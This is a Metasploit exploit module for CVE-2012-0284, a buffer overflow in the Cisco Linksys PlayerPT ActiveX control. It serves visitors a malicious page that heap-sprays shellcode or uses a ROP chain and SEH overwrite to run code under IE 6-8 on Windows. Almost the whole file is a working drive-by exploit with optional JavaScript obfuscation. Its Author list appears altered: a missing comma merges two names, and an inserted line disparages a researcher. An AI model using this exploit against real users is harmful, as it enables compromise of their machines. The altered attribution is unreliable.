##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::Remote::Seh
 include Msf::Exploit::Remote::BrowserAutopwn

 autopwn_info({
  :ua_name    => HttpClients::IE,
  :ua_minver  => "6.0",
  :ua_maxver  => "8.0",
  :javascript => true,
  :os_name    => OperatingSystems::WINDOWS,
  :classid    => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",
  :method     => "SetSource",
  :rank       => NormalRanking
 })

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Cisco Linksys PlayerPT ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15
    as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ
    Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in
    the SetSource method, allows to trigger a stack based buffer overflow which leads
    to code execution under the context of the user visiting a malicious web page.
   },
   'Author'         =>
    [
     'rgod', # Vulnerabilty Discovery and PoC
     'juan vazquez' # Metasploit module
     'Carsten Eiram of secunia research', # grabbed a casual advisory and gave himself the credit because of his vanity
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'OSVDB', '80297' ],
     [ 'CVE', '2012-0284' ],
     [ 'BID', '54588' ],
     [ 'EDB', '18641' ],
     [ 'URL', 'http://secunia.com/secunia_research/2012-25/' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',

    },
   'Payload'        =>
    {
     'Space' => 1024,
     'DisableNops' => true,
     'BadChars'    => "\x00\x0d\x0a\x5c",
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
    },
   'DefaultOptions'  =>
    {
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     # Cisco Linksys PlayerPT ActiveX Control 1.0.0.15
     [ 'Automatic', { } ],
     [
      'IE 6 on Windows XP SP3',
      {
       'Spray' => true,
       'SprayBlocks' => 0x185,
       'SprayOffset' => '0x0',
       'OffsetStackBottom' => 8556
      }
     ],
     [
      'IE 7 on Windows XP SP3 / Windows Vista SP2',
      {
       'Spray' => true,
       'SprayBlocks' => 0x185,
       'SprayOffset' => '0x0',
       'OffsetStackBottom' => 3220
      }
     ],
     [
      'IE 8 on Windows XP SP3',
      {
       'Spray' => false,
       'OffsetRop' => 160,
       'Offset' => 456,
       'Ret' => 0x1002c536, # ADD ESP,0A2C # RETN from PlayerPT.ocx
       'OffsetStackBottom' => 4108
      }
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Mar 22 2012',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
   ], self.class
  )

 end

 def get_spray(t, js_code, js_nops)

  spray = <<-JS
  var heap_obj = new heapLib.ie(0x20000);
  var code = unescape("#{js_code}");
  var nops = unescape("#{js_nops}");

  while (nops.length < 0x80000) nops += nops;

  var offset = nops.substring(0, #{t['SprayOffset']});
  var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

  while (shellcode.length < 0x40000) shellcode += shellcode;
  var block = shellcode.substring(0, (0x80000-6)/2);

  heap_obj.gc();
  for (var z=1; z < #{t['SprayBlocks']}; z++) {
   heap_obj.alloc(block);
  }

  JS

  return spray

 end

 # rop chain generated with mona.py
 def create_rop_chain()

  rop_gadgets =
   [
    0x77c2f271, # POP EBP # RETN [msvcrt.dll]
    0x77c2f271, # skip 4 bytes [msvcrt.dll]
    0x77c5335d, # POP EBX # RETN [msvcrt.dll]
    0xffffffff, #
    0x77c127e1, # INC EBX # RETN [msvcrt.dll]
    0x77c127e1, # INC EBX # RETN [msvcrt.dll]
    0x77c4e392, # POP EAX # RETN [msvcrt.dll]
    0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
    0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
    0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
    0x77c34de1, # POP EAX # RETN [msvcrt.dll]
    0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
    0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
    0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
    0x77c479e2, # POP EDI # RETN [msvcrt.dll]
    0x77c39f92, # RETN (ROP NOP) [msvcrt.dll]
    0x77c3b8ba, # POP ESI # RETN [msvcrt.dll]
    0x77c2aacc, # JMP [EAX] [msvcrt.dll]
    0x77c4e392, # POP EAX # RETN [msvcrt.dll]
    0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
    0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
    0x77c51025, # ptr to 'push esp #  ret ' [msvcrt.dll]
   ].pack("V*")

  return rop_gadgets
 end

 def get_payload(my_target)

  case my_target.name
  when /IE 6 on Windows XP SP3/
   my_payload = "\x0c" * my_target['OffsetStackBottom']
   return my_payload
  when /IE 7 on Windows XP SP3 \/ Windows Vista SP2/
   my_payload = "\x0c" * my_target['OffsetStackBottom']
   return my_payload
  when /IE 8 on Windows XP SP3/
   my_payload = rand_text_alpha(my_target['OffsetRop'])
   my_payload << create_rop_chain
   my_payload << make_nops(my_target['Offset'] - my_payload.length)
   my_payload << generate_seh_record(my_target.ret)
   my_payload << payload.encoded
   my_payload << rand_text_alpha(my_target['OffsetStackBottom'] - my_payload.length)
   return my_payload
  end

 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'
  if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
   return targets[1] #IE 6 on Windows XP SP3
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
   return targets[2] #IE 7 on Windows XP SP3
  elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
   return targets[3] #IE 8 on Windows XP SP3
  elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
   return targets[2] #IE 7 on Windows Vista SP2
  else
   return nil
  end
 end

 def on_request_uri(cli, request)

  agent = request.headers['User-Agent']
  print_status("User-agent: #{agent}")

  my_target = get_target(agent)

  # Avoid the attack if the victim doesn't have a setup we're targeting
  if my_target.nil?
   print_error("Browser not supported: #{agent}")
   send_not_found(cli)
   return
  end

  js = ""

  if my_target['Spray']
   p = payload.encoded
   js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
   js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
   js = get_spray(my_target, js_code, js_nops)

   js = heaplib(js, {:noobfu => true})

   if datastore['OBFUSCATE']
    js = ::Rex::Exploitation::JSObfu.new(js)
    js.obfuscate
   end
  end

  sploit = get_payload(my_target)
  sploit = sploit.gsub(/"/, "\\\"")

  html = <<-MYHTML
  <html>
  <head>
  <script>
  #{js}
  </script>
  </head>
  <body>
  <object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' /></object>
  <script>
   obj.SetSource("","","","","#{sploit}");
  </script>
  </body>
  </html>
  MYHTML

  html = html.gsub(/^\t\t/, '')

  print_status("Sending html")
  send_response(cli, html, {'Content-Type'=>'text/html'})
 end
end